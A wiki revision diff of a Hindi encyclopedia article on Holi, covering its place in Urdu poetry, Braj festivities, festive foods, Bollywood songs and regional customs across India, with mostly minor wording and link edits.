[[पद्माकर]] ने भी होली को लेकर कई मस्ती भरे पद लिखे हैं जिनमें प्रकृति और धरती माता के होली खेलने के भावों को प्रकट किया गया है।<ref>{{cite web |url=http://www.hindimedia.in/index.php?option=com_content&task=view&id=1508&Itemid=32#10 |title=भारतीय साहित्य, संस्कृति और परंपरा में होली |accessmonthday=[[10 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पी.एच.पी |publisher=हिन्दी मीडिया डॉट इन |language=[[हिन्दी]] }}</ref> | ||
====उर्दू साहित्य में होली==== | ====उर्दू साहित्य में होली==== | ||
{| class="bharattable-purple" style="margin:2px; float:right; text-align:center" | {| class="bharattable-purple" style="margin:2px; float:right; text-align:center" | ||
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| <small>होली, रमण रेती, [[महावन]]</small> | | <small>होली, रमण रेती, [[महावन]]</small> | ||
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| − | [[मुग़ल काल]] में रचे गए [[उर्दू]] साहित्य में | + | [[मुग़ल काल]] में रचे गए [[उर्दू]] साहित्य में [[दाग़ देहलवी]], हातिम, [[मीर]], [[कुली कुतुबशाह]], महज़ूर, [[बहादुर शाह ज़फ़र]], [[नज़ीर अकबराबादी|नज़ीर]], आतिश, ख्वाजा हैदर अली 'आतिश', [[इंशा]] और तांबा जैसे कई नामी शायरों ने होली की मस्ती और [[राधा]] [[कृष्ण]] के निश्च्छल प्यार को अपनी [[शायरी]] में बहुत ख़ूबसूरती से पिरोया है। [[उर्दू]] के जाने माने शायर [[नज़ीर अकबराबादी]] पर उर्दू अदब के [[भारत की संस्कृति]] और परंपराओं का ज़बर्दस्त असर था। 150 [[साल]] पहले लिखी गई उनकी रचनाएं 'नज़ीर की बानी' के नाम से प्रसिद्ध है। उन्होंने जिस मस्ती के साथ होली का वर्णन किया है। उसको पढ़कर ही उस दौर में खेली जाने वाली होली की मस्ती की महक मदमस्त कर देती है। |
| − | ;[[उर्दू]] के जाने माने शायर '''नज़ीर अकबराबादी''' की एक कविता | + | ;[[उर्दू]] के जाने माने शायर '''[[नज़ीर अकबराबादी]]''' की एक कविता |
<blockquote><poem>जब फागुन रंग झमकते हों तब देख बहारें होली की। | <blockquote><poem>जब फागुन रंग झमकते हों तब देख बहारें होली की। | ||
और दफ़ के शोर खड़कते हों तब देख बहारें होली की। | और दफ़ के शोर खड़कते हों तब देख बहारें होली की। | ||
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ख़म शीश-ए-जाम छलकते हों तब देख बहारें होली की। | ख़म शीश-ए-जाम छलकते हों तब देख बहारें होली की। | ||
महबूब नशे में छकते हों तब देख बहारें होली की।<ref>[http://www.bharatdiscovery.org/india/%E0%A4%A6%E0%A5%87%E0%A4%96_%E0%A4%AC%E0%A4%B9%E0%A4%BE%E0%A4%B0%E0%A5%87%E0%A4%82_%E0%A4%B9%E0%A5%8B%E0%A4%B2%E0%A5%80_%E0%A4%95%E0%A5%80_-%E0%A4%A8%E0%A4%9C%E0%A4%BC%E0%A5%80%E0%A4%B0_%E0%A4%85%E0%A4%95%E0%A4%AC%E0%A4%B0%E0%A4%BE%E0%A4%AC%E0%A4%BE%E0%A4%A6%E0%A5%80 देख बहारें होली की -नज़ीर अकबराबादी (भारतकोश)], [https://www.youtube.com/watch?v=vsuKd2Q_1OU यू-ट्यूब पर सुनें]</ref></poem></blockquote> | महबूब नशे में छकते हों तब देख बहारें होली की।<ref>[http://www.bharatdiscovery.org/india/%E0%A4%A6%E0%A5%87%E0%A4%96_%E0%A4%AC%E0%A4%B9%E0%A4%BE%E0%A4%B0%E0%A5%87%E0%A4%82_%E0%A4%B9%E0%A5%8B%E0%A4%B2%E0%A5%80_%E0%A4%95%E0%A5%80_-%E0%A4%A8%E0%A4%9C%E0%A4%BC%E0%A5%80%E0%A4%B0_%E0%A4%85%E0%A4%95%E0%A4%AC%E0%A4%B0%E0%A4%BE%E0%A4%AC%E0%A4%BE%E0%A4%A6%E0%A5%80 देख बहारें होली की -नज़ीर अकबराबादी (भारतकोश)], [https://www.youtube.com/watch?v=vsuKd2Q_1OU यू-ट्यूब पर सुनें]</ref></poem></blockquote> | ||
| − | ; [[अमीर | + | ; [[अमीर ख़ुसरो]] ने होली को अपने [[सूफ़ी मत|सूफ़ी]] अंदाज़ में कुछ ऐसे देखा है- |
<blockquote><poem>दैय्या रे मोहे भिजोया री, शाह निजाम के रंग में | <blockquote><poem>दैय्या रे मोहे भिजोया री, शाह निजाम के रंग में | ||
कपड़े रंग के कुछ न होत है, या रंग में तन को डुबोया री।<ref name="himi"/></poem></blockquote> | कपड़े रंग के कुछ न होत है, या रंग में तन को डुबोया री।<ref name="himi"/></poem></blockquote> | ||
| − | ; अंतिम [[मुग़ल]] बादशाह [[बहादुर शाह | + | ; अंतिम [[मुग़ल]] बादशाह [[बहादुर शाह ज़फ़र]] के शब्दों में होली की मस्ती का रंग कुछ इस तरह दिखाई देता है |
<blockquote><poem>क्यों मो पे रंग की मारी पिचकारी | <blockquote><poem>क्यों मो पे रंग की मारी पिचकारी | ||
देखो कुँवरजी दूँगी मैं गारी...<ref name="himi">{{cite web |url=http://www.hindimedia.in/index.php?option=com_content&task=view&id=1508&Itemid=32#14 |title=उर्दू साहित्य में होली |accessmonthday=[[10 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पी.एच.पी |publisher=हिन्दी मीडिया डॉट इन |language=[[हिन्दी]] }}</ref></poem></blockquote> | देखो कुँवरजी दूँगी मैं गारी...<ref name="himi">{{cite web |url=http://www.hindimedia.in/index.php?option=com_content&task=view&id=1508&Itemid=32#14 |title=उर्दू साहित्य में होली |accessmonthday=[[10 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पी.एच.पी |publisher=हिन्दी मीडिया डॉट इन |language=[[हिन्दी]] }}</ref></poem></blockquote> | ||
| Line 85: | Line 89: | ||
==ब्रज में फाग उत्सव== | ==ब्रज में फाग उत्सव== | ||
| − | [[फाल्गुन]] के [[माह]] रंगभरनी | + | [[फाल्गुन]] के [[माह]] रंगभरनी एकादशी से सभी मन्दिरों में फाग उत्सव प्रारम्भ होते हैं जो दौज तक चलते हैं। दौज को [[बलदेव मथुरा|बल्देव (दाऊजी)]] में [[दाऊजी का हुरंगा|हुरंगा]] होता है। [[बरसाना]], [[नन्दगाँव|नन्दगांव]], जाव, बठैन, [[जतीपुरा गोवर्धन|जतीपुरा]], आन्यौर आदि में भी होली खेली जाती है । यह [[ब्रज]] का विशेष त्योहार है। यों तो [[पुराण|पुराणों]] के अनुसार इसका सम्बन्ध पुराण कथाओं से है और ब्रज में भी होली इसी दिन जलाई जाती है। इसमें [[यज्ञ]] रूप में नवीन अन्न की बालें भूनी जाती हैं। [[प्रह्लाद]] की कथा की प्रेरणा इससे मिलती हैं। होली दहन के दिन [[कोसी]] के निकट फालैन गांव में 'प्रह्लाद कुण्ड' के पास 'भक्त प्रह्लाद का मेला' लगता है। यहाँ तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव पण्डा निकलता है। |
[[चित्र:Holi Barsana Mathura 1.jpg|लट्ठामार होली, [[बरसाना]] |thumb|250px]] | [[चित्र:Holi Barsana Mathura 1.jpg|लट्ठामार होली, [[बरसाना]] |thumb|250px]] | ||
| − | [[कृष्ण|श्रीकृष्ण]] [[राधा]] और [[गोपी|गोपियों]]–ग्वालों के बीच की होली के रूप में [[गुलाल]], [[रंग]], [[केसर]] की पिचकारी से ख़ूब खेलते हैं। होली का आरम्भ [[फाल्गुन]] [[शुक्ल पक्ष|शुक्ल]] [[नवमी]] [[बरसाना]] से होता है। वहां की [[होली बरसाना विडियो 1|लठामार होली]] | + | [[कृष्ण|श्रीकृष्ण]] [[राधा]] और [[गोपी|गोपियों]]–ग्वालों के बीच की होली के रूप में [[गुलाल]], [[रंग]], [[केसर]] की पिचकारी से ख़ूब खेलते हैं। होली का आरम्भ [[फाल्गुन]] [[शुक्ल पक्ष|शुक्ल]] [[नवमी]] [[बरसाना]] से होता है। वहां की [[होली बरसाना विडियो 1|लठामार होली]] विश्व प्रसिद्ध है। दशमी को ऐसी ही होली [[नन्दगांव]] में होती है। इसी के साथ पूरे ब्रज में होली की धूम मचती है। धूलेंड़ी को प्राय: होली पूर्ण हो जाती है, इसके पहले हुरंगे चलते हैं, जिनमें महिलायें रंगों के साथ लाठियों, कोड़ों आदि से पुरुषों को घेरती हैं। यह सब धार्मिक वातावरण होता है। होली या होलिका आनन्द एवं उल्लास का ऐसा उत्सव है जो सम्पूर्ण देश में मनाया जाता है। उत्सव मनाने के ढंग में कहीं-कहीं अन्तर पाया जाता है। [[पश्चिम बंगाल]] को छोड़कर होलिका-दहन सर्वत्र देखा जाता है। [[पश्चिम बंगाल|बंगाल]] में फाल्गुन [[पूर्णिमा]] पर 'कृष्ण-प्रतिमा का झूला' प्रचलित है किन्तु यह [[भारत]] के अधिकांश स्थानों में नहीं दिखाई पड़ता। इस उत्सव की अवधि विभिन्न प्रान्तों में विभिन्न है। इस अवसर पर लोग [[बाँस]] या [[धातु]] की पिचकारी से रंगीन [[जल]] छोड़ते हैं या [[अबीर]]-[[गुलाल]] लगाते हैं। कहीं-कहीं अश्लील गाने भी गाये जाते हैं। इसमें जो धार्मिक तत्त्व है वह है बंगाल में कृष्ण-पूजा करना तथा कुछ प्रदेशों में [[पुरोहित]] द्वारा होलिका की पूजा करवाना। लोग होलिका दहन के समय [[परिक्रमा]] करते हैं, अग्नि में [[नारियल]] फेंकते हैं, [[गेहूँ]], [[जौ]] आदि के डंठल फेंकते हैं और इनके अधजले अंश का प्रसाद बनाते हैं। कहीं-कहीं लोग हथेली से मुख-स्वर उत्पन्न करते हैं। |
{{बरसाना होली चित्र सूची}} | {{बरसाना होली चित्र सूची}} | ||
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==दुलेंडी== | ==दुलेंडी== | ||
[[चित्र:Gujia.jpg|thumb|[[गुझिया]]]] | [[चित्र:Gujia.jpg|thumb|[[गुझिया]]]] | ||
| − | यह त्योहार होली के अगले दिन, '''रंग दिवस''' के रूप में मनाया जाता है। इस पर्व पर किशोर-किशोरियाँ, वयस्क व वृद्ध सभी एक-दूसरे पर [[गुलाल]] बरसाते हैं तथा पिचकारियों से गीले रंग लगाते हैं। पारंपरिक रूप से केवल प्राकृतिक व जड़ी-बूटियों से निर्मित रंगों का प्रयोग होता है, परंतु आज कल कृत्रिम रंगों ने इनका स्थान ले लिया है। आजकल तो लोग जिस-किसी के साथ भी शरारत या मजाक करना चाहते हैं। उसी पर रंगीले झाग व रंगों से भरे गुब्बारे मारते हैं। प्रेम से भरे यह - [[नारंगी रंग|नारंगी]], [[लाल रंग|लाल]], [[हरा रंग|हरे]], [[नीला रंग|नीले]], [[बैंगनी रंग|बैंगनी]] तथा [[काला रंग|काले]] रंग सभी के मन से कटुता व वैमनस्य को धो देते हैं तथा सामुदायिक मेल-जोल को बढ़ाते हैं। इस दिन सभी के घर पकवान व | + | यह त्योहार होली के अगले दिन, '''रंग दिवस''' के रूप में मनाया जाता है। इस पर्व पर किशोर-किशोरियाँ, वयस्क व वृद्ध सभी एक-दूसरे पर [[गुलाल]] बरसाते हैं तथा पिचकारियों से गीले रंग लगाते हैं। पारंपरिक रूप से केवल प्राकृतिक व जड़ी-बूटियों से निर्मित रंगों का प्रयोग होता है, परंतु आज कल कृत्रिम रंगों ने इनका स्थान ले लिया है। आजकल तो लोग जिस-किसी के साथ भी शरारत या मजाक करना चाहते हैं। उसी पर रंगीले झाग व रंगों से भरे गुब्बारे मारते हैं। प्रेम से भरे यह - [[नारंगी रंग|नारंगी]], [[लाल रंग|लाल]], [[हरा रंग|हरे]], [[नीला रंग|नीले]], [[बैंगनी रंग|बैंगनी]] तथा [[काला रंग|काले]] रंग सभी के मन से कटुता व वैमनस्य को धो देते हैं तथा सामुदायिक मेल-जोल को बढ़ाते हैं। इस दिन सभी के घर पकवान व मिष्ठान बनते हैं। लोग एक- दूसरे के घर जाकर गले मिलते हैं और पकवान खाते हैं। |
==स्वादिष्ट व्यंजन== | ==स्वादिष्ट व्यंजन== | ||
| − | मिष्ठान इस पर्व की विशेषता हैं। [[उत्तर भारत]] में आप '[[गुझिया]]' का आनन्द ले सकते हैं व पश्चिम में, [[महाराष्ट्र]] में 'पूरनपोली' का। ठंडाई <ref>शीतल पेय जिसे [[दूध]], भांग, [[बादाम]] मिलाकर घोटकर बनाया जाता है</ref>भांग <ref>यह एक नशीले पौधे की पत्तियों का घोल है</ref> परंतु इस मिश्रण से सावधान ही रहना चाहिए, क्योंकि यह पेय होली पर प्रायः सभी जगह बनाया व वितरित किया जाता है। इसका नशा | + | मिष्ठान इस पर्व की विशेषता हैं। [[उत्तर भारत]] में आप '[[गुझिया]]' का आनन्द ले सकते हैं व पश्चिम में, [[महाराष्ट्र]] में 'पूरनपोली' का। ठंडाई <ref>शीतल पेय जिसे [[दूध]], भांग, [[बादाम]] मिलाकर घोटकर बनाया जाता है</ref>भांग <ref>यह एक नशीले पौधे की पत्तियों का घोल है</ref> परंतु इस मिश्रण से सावधान ही रहना चाहिए, क्योंकि यह पेय होली पर प्रायः सभी जगह बनाया व वितरित किया जाता है। इसका नशा शीघ्र उतरता नहीं और भूख बढ़ती ही जाती है, इसके पीने से दिमाग़ पर बुरा प्रभाव पड़ता है। |
==फ़िल्मों में होली गीत== | ==फ़िल्मों में होली गीत== | ||
{{बॉलीवुड होली}} | {{बॉलीवुड होली}} | ||
{{Main|बॉलीवुड की होली}} | {{Main|बॉलीवुड की होली}} | ||
| − | होली रंगों, आनंद और उल्लास का त्योहार है। [[बॉलीवुड]] के होली गीत इसी आनंद और उल्लास से भरे होते हैं। 'होली आई रे कन्हाई'<ref>फ़िल्म [[मदर इंडिया]]</ref>, 'अरे जा रे हट नटखट' <ref>फ़िल्म नवरंग</ref>, 'आज ना छोड़ेंगे बस हमजोली'<ref>फ़िल्म कटी पतंग</ref>, 'होली के दिन'<ref> फ़िल्म [[शोले (फ़िल्म)|शोले]]</ref>, 'रंग बरसे' <ref>फ़िल्म सिलसिला</ref>, 'मल दे गुलाल मोहे, आई होली आई रे'<ref>फ़िल्म कामचोर</ref>, 'अंग से अंग लगाना सजन'<ref> फ़िल्म डर</ref> और 'होली खेलें रघुवीरा'<ref>फ़िल्म | + | होली रंगों, आनंद और उल्लास का त्योहार है। [[बॉलीवुड]] के होली गीत इसी आनंद और उल्लास से भरे होते हैं। 'होली आई रे कन्हाई'<ref>फ़िल्म- [[मदर इंडिया]]</ref>, 'अरे जा रे हट नटखट' <ref>फ़िल्म- नवरंग</ref>, 'आज ना छोड़ेंगे बस हमजोली'<ref>फ़िल्म- कटी पतंग</ref>, 'होली के दिन'<ref> फ़िल्म- [[शोले (फ़िल्म)|शोले]]</ref>, 'रंग बरसे' <ref>फ़िल्म- सिलसिला</ref>, 'मल दे गुलाल मोहे, आई होली आई रे'<ref>फ़िल्म- कामचोर</ref>, 'अंग से अंग लगाना सजन'<ref> फ़िल्म- डर</ref> और 'होली खेलें रघुवीरा'<ref>फ़िल्म- बाग़बान</ref> होली के कुछ लोकप्रिय गीत हैं। इसके अलावा 'होली के रंग में', 'रंग बरसे भीगे चुनर वाली' और 'होली खेलें रघुवीरा...' हिन्दी फ़िल्मों के कुछ ऐसे लोकप्रिय गीत हैं जो रंगों के त्योहार होली की भावना को बड़े पर्दे पर जीवंत करते हैं, लेकिन आज होली के गीतों का अभाव देखा जा रहा है और ऐसे में लोग पुराने गीतों में ही होली का मजा लेने को मजबूर हैं। हिन्दी फ़िल्मों में आया होली का एक प्रसिद्ध गीत 'डू मी ए फेवर.. लेट्स प्ले होली' है। फ़िल्म 'वक्त-रेस अंगेंस्ट टाइम', [[2005]] का यह गीत अक्षय कुमार और प्रियंका चोपड़ा पर फ़िल्माया गया है। इस गीत में होली के रंग, ऊर्जा सहित सब कुछ है।<ref> {{cite web |url=http://www.livehindustan.com/news/entertainment/entertainmentnews/28-28-98241.html |title=आजकल नहीं मिलते होली के गीत |accessmonthday=[[4 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=लाइव हिन्दुस्तान डॉट कॉम |language=[[हिन्दी]] }}</ref>हिन्दी फ़िल्मों में आया अंतिम होली प्रसिद्ध गीत फ़िल्म 'ये जवानी है दिवानी' का 'बलम पिचकारी...' है जिसमें रनबीर कपूर और दीपिका पादुकोण ने अभिनय किया है। |
| − | == | + | ==विभिन्न प्रान्तों में होली== |
| − | आनन्दोल्लास से परिपूर्ण एवं | + | आनन्दोल्लास से परिपूर्ण एवं गान-नृत्यों में लीन लोग जब अन्य प्रान्तों में होलिका का उत्सव मनाते हैं तब [[पश्चिम बंगाल]] में '''[[डोल पूर्णिमा|डोल यात्रा]]''' का उत्सव होता है।<ref> शूलपाणिकृत 'दोलयात्राविवेक।'</ref> यह उत्सव पाँच या तीन [[दिन|दिनों]] तक चलता है। [[पूर्णिमा]] के पूर्व [[चतुर्दशी]] को सन्ध्या के समय मण्डप के पूर्व में [[अग्नि]] के सम्मान में एक उत्सव होता है। [[गोविन्द]] की प्रतिमा का निर्माण होता है। एक वेदिका पर 16 खम्भों से युक्त मण्डप में प्रतिमा रखी जाती है। इसे [[पंचामृत]] से नहलाया जाता है, कई प्रकार के कृत्य किये जाते हैं, मूर्ति या प्रतिमा को इधर-उधर सात बार डोलाया जाता है। प्रथम दिन की प्रज्वलित अग्नि उत्सव के अन्त तक रखी जाती है। अन्त में प्रतिमा 21 बार डोलाई या झुलाई जाती है। ऐसा आया है कि इन्द्रद्युम्न राजा ने [[वृन्दावन]] में इस झूले का उत्सव आरम्भ किया था। इस उत्सव के करने से व्यक्ति सभी पापों से मुक्त हो जाता है। शूलपाणि ने इसकी [[तिथि]], प्रहर, [[नक्षत्र]] आदि के विषय में विवेचन कर निष्कर्ष निकाला है कि दोलयात्रा पूर्णिमा तिथि की उपस्थिति में ही होनी चाहिए, चाहे [[उत्तराफाल्गुनी नक्षत्र]] हो या न हो। देश के कई अलग-अलग प्रान्तों में होली को अलग अलग नामों से जाना जाता है और बड़े ही निराले अंदाज़ों में मनाया जाता है। होली [[भारत]] ही नहीं बल्कि पूरे विश्व के कोने कोने में मनाई जाती है, बस ढंग अलग है। भारत के प्रान्तों में होली के ढंग अलग-अलग हैं।<ref name="visit">{{cite web |url=http://www.visfot.com/index.php/story_of_india/3036.html?print |title=हर जगह होली सिर्फ़ होली है |accessmonthday=[[10 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=visfot.com |language=[[हिन्दी]]}}</ref> |
====आंध्र प्रदेश की होली==== | ====आंध्र प्रदेश की होली==== | ||
{| class="bharattable-purple" style="margin:5px; float:right; text-align:center" | {| class="bharattable-purple" style="margin:5px; float:right; text-align:center" | ||
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| [[चित्र:Holi-Barsana-Mathura-13.jpg|200px|होली, बरसाना]] | | [[चित्र:Holi-Barsana-Mathura-13.jpg|200px|होली, बरसाना]] | ||
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| − | वैसे तो [[दक्षिण भारत]] में [[उत्तर भारत]] की तरह की रंगों भरी होली नहीं मनाई जाती है फिर भी सभी लोग हर्षोल्लास में शामिल रहते हैं। उत्तर भारत से इतर दक्षिण में नवयुवक शाम को एकत्रित हो कर [[गुलाल]] से होली खेलते | + | वैसे तो [[दक्षिण भारत]] में [[उत्तर भारत]] की तरह की रंगों भरी होली नहीं मनाई जाती है फिर भी सभी लोग हर्षोल्लास में शामिल रहते हैं। उत्तर भारत से इतर दक्षिण में नवयुवक शाम को एकत्रित हो कर [[गुलाल]] से होली खेलते हैं और बड़ों का आशीर्वाद लेते हैं। [[आंध्र प्रदेश]] के [[बंजारा]] जनजतियों का होली मनाने का अपना निराला तरीक़ा है। यह लोग अपने विशिष्ट अंदाज़ में मनोरम नृत्य प्रस्तुत करते हैं। |
==== तमिलनाडु की होली==== | ==== तमिलनाडु की होली==== | ||
{{main|कामन पोडिगई}} | {{main|कामन पोडिगई}} | ||
| − | इसी प्रकार [[तमिलनाडु]] में होली को 'कमाविलास', 'कमान पंदिगाई' एवं 'काम-दहन' के नाम से जाना जाता है, यहाँ के लोगों का मानना है कि [[कामदेव]] के [[बाण अस्त्र|तीर]] के कारण ही [[शिव]] को [[पार्वती]] से प्रेम हुआ था और भगवान शिव का [[विवाह]] देवी पार्वती से हुआ था, मगर तीर लगने से क्रोधित शिव जी ने कामदेव को भस्म कर दिया था तब [[रति]] के आग्रह पर देवी पार्वती ने उन्हें पुनर्जीवित किया और जिस दिन कामदेव पुनर्जिवित हुए उस दिन को होली के रूप में मानते | + | इसी प्रकार [[तमिलनाडु]] में होली को 'कमाविलास', 'कमान पंदिगाई' एवं 'काम-दहन' के नाम से जाना जाता है, यहाँ के लोगों का मानना है कि [[कामदेव]] के [[बाण अस्त्र|तीर]] के कारण ही [[शिव]] को [[पार्वती]] से प्रेम हुआ था और भगवान शिव का [[विवाह]] देवी पार्वती से हुआ था, मगर तीर लगने से क्रोधित शिव जी ने कामदेव को भस्म कर दिया था तब [[रति]] के आग्रह पर देवी पार्वती ने उन्हें पुनर्जीवित किया और जिस दिन कामदेव पुनर्जिवित हुए उस दिन को होली के रूप में मानते हैं। इसीलिए तमिलनाडु में होली को '''काम पंदिगाई''' के नाम से जाना जाता है। यहाँ होली को प्रेम के पर्व के रूप में मनाया जाता है।<ref name="visit"></ref> |
| − | ==== उत्तर प्रदेश की होली==== | + | ====उत्तर प्रदेश की होली==== |
{{Main|लट्ठमार होली}} | {{Main|लट्ठमार होली}} | ||
| − | [[उत्तर प्रदेश]] में होली का त्योहार बड़े ही हर्ष और उल्लास से मनाया जाता है। उत्तर प्रदेश के कोने कोने में होली की धूम देखते ही बनती है। होली के दिन क्या बड़े और क्या छोटे सभी को हर प्रकार के मजाकबाज़ी की पूर्ण छूट होती है और लोग इसका जमकर लुफ़्त भी उठाते हैं। | + | [[उत्तर प्रदेश]] में होली का त्योहार बड़े ही हर्ष और उल्लास से मनाया जाता है। उत्तर प्रदेश के कोने कोने में होली की धूम देखते ही बनती है। होली के दिन क्या बड़े और क्या छोटे सभी को हर प्रकार के मजाकबाज़ी की पूर्ण छूट होती है और लोग इसका जमकर लुफ़्त भी उठाते हैं। छेड़-छाड़, चुहलबाज़ी, गीत संगीत यहाँ तक कि गाली गलौज तक को भी जायज़ माना जाता है। यहाँ होली पर [[रंग]] और [[गुलाल]] के अलावा तरह तरह के व्यंजन का भी बोलबाला रहता है। [[गुझिया]], [[दही बड़ा|दही वड़े]], मठरी और इन सब से बढ़ कर ठंडाई और उसके साथ भांग, रंगों के सुरूर को दोगुना कर देती है। रात को [[होलिका दहन]] के बाद अगले दिन सुबह रंगों के साथ गीली होली खेली जाती है और शाम को [[अबीर]] और [[गुलाल]] से समां सराबोर होता है। उत्तर प्रदेश में [[वृन्दावन]] और [[मथुरा]] की होली का अपना ही महत्त्व है। इस त्योहार को किसानों द्वारा फसल काटने के उत्सव एक रूप में भी मनाया जाता है। [[गेहूँ]] की बालियों को आग में रख कर भूना जाता है और फिर उसे खाते हैं। होली की अग्नि जलने के पश्चात् बची राख को रोग प्रतिरोधक भी माना जाता है। इन सब के अलावा उत्तर प्रदेश के '''मथुरा, वृन्दावन क्षेत्रों की होली तो विश्वप्रसिद्ध''' है। मथुरा में [[बरसाना|बरसाने]] की होली प्रसिद्ध है। बरसाना [[राधा]] जी का गाँव है जो मथुरा शहर से क़रीब 42 किमी अन्दर है। यहाँ एक अनोखी होली खेली जाती है जिसका नाम है [[लट्ठमार होली]]। बरसाने में ऐसी परंपरा हैं कि श्री [[कृष्ण]] के गाँव [[नंदगाँव]] के पुरुष बरसाने में घुसने और [[राधा रानी मंदिर बरसाना |राधा जी के मंदिर]] में ध्वज फहराने की कोशिश करते हैं और बरसाने की महिलाएं उन्हें ऐसा करने से रोकती हैं और डंडों से पीटती हैं और अगर कोई मर्द पकड़ जाये तो उसे महिलाओं की तरह श्रृंगार करना होता है और सब के सम्मुख [[नृत्य]] करना पड़ता है, फिर इसके अगले दिन बरसाने के पुरुष नंदगाँव जा कर वहाँ की महिलाओं पर रंग डालने की कोशिश करते हैं। यह होली उत्सव क़रीब सात दिनों तक चलता है। इसके अलावा एक और उल्लास भरी होली होती है, वो है [[वृन्दावन]] की होली यहाँ [[बाँके बिहारी मंदिर]] की होली और 'गुलाल कुंद की होली' बहुत महत्त्वपूर्ण है। वृन्दावन की होली में पूरा समां प्यार की ख़ुशी से सुगन्धित हो उठता है क्योंकि ऐसी मान्यता है कि होली पर रंग खेलने की परंपरा राधाजी व कृष्ण जी द्वारा ही शुरू की गई थी।<ref name="visit"></ref> |
====बंगाल और उड़ीसा की होली==== | ====बंगाल और उड़ीसा की होली==== | ||
{{Main|डोल पूर्णिमा}} | {{Main|डोल पूर्णिमा}} | ||
| − | [[पश्चिम बंगाल|बंगाल]] में होली को 'डोल यात्रा' व 'डोल पूर्णिमा' कहते हैं और होली के दिन | + | [[पश्चिम बंगाल|बंगाल]] में होली को 'डोल यात्रा' व 'डोल पूर्णिमा' कहते हैं और होली के दिन राधा और कृष्ण की प्रतिमाओं को डोली में बैठाकर पूरे शहर में घुमाते हैं और औरतें उसके आगे नृत्य करती हैं। यह भी अपने आप में एक अनूठी होली है। बंगाल में होली को 'बसंत पर्व' भी कहते हैं। इसकी शुरुआत [[रवीन्द्र नाथ टैगोर]] ने [[शान्ति निकेतन]] में की थी। [[उड़ीसा]] में भी होली को 'डोल पूर्णिमा' कहते हैं और [[जगन्नाथ रथयात्रा|भगवान जगन्नाथ जी]] की डोली निकाली जाती है। |
====राजस्थान की होली==== | ====राजस्थान की होली==== | ||
{{main|राजस्थान की होली}} | {{main|राजस्थान की होली}} | ||
| − | यहाँ मुख्यत: तीन प्रकार की होली होती है। '''माली होली'''- इसमें माली जात के मर्द, औरतों पर पानी डालते | + | यहाँ मुख्यत: तीन प्रकार की होली होती है। '''माली होली'''- इसमें माली जात के मर्द, औरतों पर पानी डालते हैं और बदले में औरतें मर्दों की लाठियों से पिटाई करती है। इसके अलावा गोदाजी की '''गैर होली''' और [[बीकानेर]] की '''डोलची होली''' भी बेहद ख़ूबसूरत होती है। <ref name="visit"></ref> |
| − | ==== पंजाब की होली ==== | + | ====पंजाब की होली==== |
{{main|होला मोहल्ला}} | {{main|होला मोहल्ला}} | ||
| − | [[पंजाब]] में होली को 'होला मोहल्ला' कहते | + | [[पंजाब]] में होली को 'होला मोहल्ला' कहते हैं और इसे [[सिख|निहंग सिख]] मानते हैं। इस मौके पर घुड़सवारी, तलवारबाज़ी आदि का आयोजन होता है। |
==== हरियाणा की होली==== | ==== हरियाणा की होली==== | ||
{{main|धुलेंडी}} | {{main|धुलेंडी}} | ||
| − | [[हरियाणा]] की होली भी बरसाने की लट्ठमार होली जैसी ही होती है। बस फ़र्क़ सिर्फ़ इतना है कि यहाँ देवर भाभी को रंगने की कोशिश करते | + | [[हरियाणा]] की होली भी बरसाने की [[लट्ठमार होली]] जैसी ही होती है। बस फ़र्क़ सिर्फ़ इतना है कि यहाँ देवर, भाभी को रंगने की कोशिश करते हैं और बदले में भाभी देवर की लाठियों से पिटाई करती है। यहाँ होली को 'दुल्हंदी' भी कहते हैं। |
====दिल्ली वालों की दिलवाली होली==== | ====दिल्ली वालों की दिलवाली होली==== | ||
| − | [[दिल्ली]] की होली तो सबसे निराली है क्योंकि राजधानी होने की वजह से यहाँ पर सभी जगह के लोग अपने ढंग होली मानते | + | [[दिल्ली]] की होली तो सबसे निराली है क्योंकि राजधानी होने की वजह से यहाँ पर सभी जगह के लोग अपने ढंग होली मानते हैं जो आपसी समरसता और सौहार्द का स्वरूप है। वैसे दिल्ली में नेताओं की होली की भी ख़ूब धूम होती है।<ref name="visit"></ref> |
====कर्नाटक में होली समारोह==== | ====कर्नाटक में होली समारोह==== | ||
{{main|कामना हब्बा}} | {{main|कामना हब्बा}} | ||
| − | [[कर्नाटक]] में यह त्योहार '''कामना हब्बा''' के रूप में मनाया जाता है। इस दिन भगवान [[शिव]] ने [[कामदेव]] को अपने तीसरे नेत्र से जला दिया था। इस दिन कूड़ा-करकट फटे वस्त्र, एक खुली जगह एकत्रित किए जाते हैं तथा इन्हें अग्नि को समर्पित किया जाता है। आस-पास के सभी पड़ोसी इस उत्सव को देखने आते हैं। | + | [[कर्नाटक]] में यह त्योहार '''कामना हब्बा''' के रूप में मनाया जाता है। इस दिन भगवान [[शिव]] ने [[कामदेव]] को अपने तीसरे नेत्र से जला दिया था। इस दिन कूड़ा-करकट फटे वस्त्र, एक खुली जगह एकत्रित किए जाते हैं तथा इन्हें अग्नि को समर्पित किया जाता है। आस-पास के सभी पड़ोसी इस उत्सव को देखने आते हैं। <br /> |
| + | इसके अलावा [[बिहार]] की '''[[फागु पूर्णिमा|फगुआ होली]]''', [[महाराष्ट्र]] की '''[[रंग पंचमी (होली)|रंगपंचमी]]''', [[गोवा]] की '''[[शिमगो]]'''<ref> दरअसल [[कोंकणी भाषा|कोंकणी]] बोली में होली को शिमगो कहते हैं</ref>, [[गुजरात]] की '''[[गोविंदा होली]]''', और पश्चिमी पूर्व की 'बिही जनजाति की होली' की धूम भी निराली है। | ||
| − | |||
==प्रेम का त्योहार== | ==प्रेम का त्योहार== | ||
[[चित्र:Holi-17.jpg|thumb|450px]] | [[चित्र:Holi-17.jpg|thumb|450px]] | ||
